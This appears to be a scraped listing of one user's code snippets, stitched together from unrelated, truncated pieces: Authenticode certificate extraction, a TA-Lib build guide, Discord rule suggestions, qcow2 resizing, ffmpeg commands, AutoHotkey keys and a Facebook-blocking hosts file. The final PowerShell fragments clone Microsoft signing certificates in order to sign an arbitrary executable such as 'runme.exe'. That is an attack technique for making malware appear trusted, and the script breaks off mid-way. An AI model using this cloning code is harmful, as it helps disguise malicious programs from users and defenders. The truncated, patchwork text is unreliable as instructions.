AmmarHaddadi

Get the (readable) certificate from a windows executable (PE)

From: http://web.fournier.nl/2013/10/get-readable-certificate-from-windows.html

I searched high and low for a simple (linux) solution on how to extract the certificate of an authenticode signed windows binary. I don't want to use wine, nor mono. This is what I came up with:

Extract the certificate with 7zip: 7z e setup.exe CERTIFICATE
remove the first 8 bytes: dd if=CERTIFICATE bs=1 skip=8 of=setup.exe.pkcs7
Read it: openssl pkcs7 -in setup.exe.pkcs7 -inform DER -print_certs -text

Here are the instructions to build the 64-bit ta-lib.

Install TA-Lib C Library on Windows 10

Download and Unzip ta-lib-0.4.0-msvc.zip
Move the Unzipped Folder ta-lib to C:\
Download and Install Visual Studio Community 2015
Remember to Select [Visual C++] Feature
Build TA-Lib Library
From Windows Start Menu, Start [VS2015 x64 Native Tools Command Prompt]

(Unofficial) Discord server rules suggestions list

Author's Note

I'll start off with letting you know this is a fork from someone else. However, for some bizarre reason, this is the one everyone finds, so I better get round to updating this. Credit to Cristiano#2233 for the original idea.

Also, I've had a lot of people saying the rules are to strict. If you pick all the rules here, you're right, it would be very strict. However the rules below are guidelines! They are there for you to pick the ones you desire, you can ignore ones you don't want. Hopefully they might help with rules you wouldn't have thought of otherwise.

How to resize a qcow2 disk image on Linux

This example takes olddisk.qcow2 and resizes it into newdisk.qcow2, extending one of the guest's partitions to fill the extra space.

1. qcow2 format

1.1. Verify the filesystems of `olddisk.qcow2`

FFMPEG Cheat sheet

Compress MP4 files

ffmpeg -i input.mp4 -vcodec libx265 -crf 28 output.mp4

Compressed file to better compatibility (WhatsApp)

ffmpeg -i broken.mp4 -c:v libx264 -profile:v baseline -level 3.0 -pix_fmt yuv420p working.mp4

	; AutoHotkey Media Keys
	^!Space::Send {Media_Play_Pause}
	^!Left::Send {Media_Prev}
	^!Right::Send {Media_Next}
	^!NumpadMult::Send {Volume_Mute}
	^!NumpadAdd::Send {Volume_Up}
	^!NumpadSub::Send {Volume_Down}

	# Block Facebook IPv4
	127.0.0.1 www.facebook.com
	127.0.0.1 facebook.com
	127.0.0.1 login.facebook.com
	127.0.0.1 www.login.facebook.com
	127.0.0.1 fbcdn.net
	127.0.0.1 www.fbcdn.net
	127.0.0.1 fbcdn.com
	127.0.0.1 www.fbcdn.com
	127.0.0.1 static.ak.fbcdn.net

	# We'll just store the cloned certificates in current user "Personal" store for now.
	$CertStoreLocation = @{ CertStoreLocation = 'Cert:\CurrentUser\My' }

	$MS_Root_Cert = Get-PfxCertificate -FilePath C:\Test\MSKernel32Root.cer
	$Cloned_MS_Root_Cert = New-SelfSignedCertificate -CloneCert $MS_Root_Cert @CertStoreLocation

	$MS_PCA_Cert = Get-PfxCertificate -FilePath C:\Test\MSKernel32PCA.cer
	$Cloned_MS_PCA_Cert = New-SelfSignedCertificate -CloneCert $MS_PCA_Cert -Signer $Cloned_MS_Root_Cert @CertStoreLocation

	$MS_Leaf_Cert = Get-PfxCertificate -FilePath C:\Test\MSKernel32Leaf.cer

	# Technique taken from: https://posts.specterops.io/code-signing-certificate-cloning-attacks-and-defenses-6f98657fc6ec
	# Remeber to set your target file path to $SignThis!!
	# Example: $SignThis = "C:\Users\user\Desktop\runme.exe"; Cert-Clone.ps1;

	# Setup Cert Store in Reg
	$CertStoreLocation = @{ CertStoreLocation = 'Cert:\CurrentUser\My' }
	# Setup Cert Store on Disk
	[system.io.directory]::CreateDirectory("C:\CertStore")

	# Download Root Cert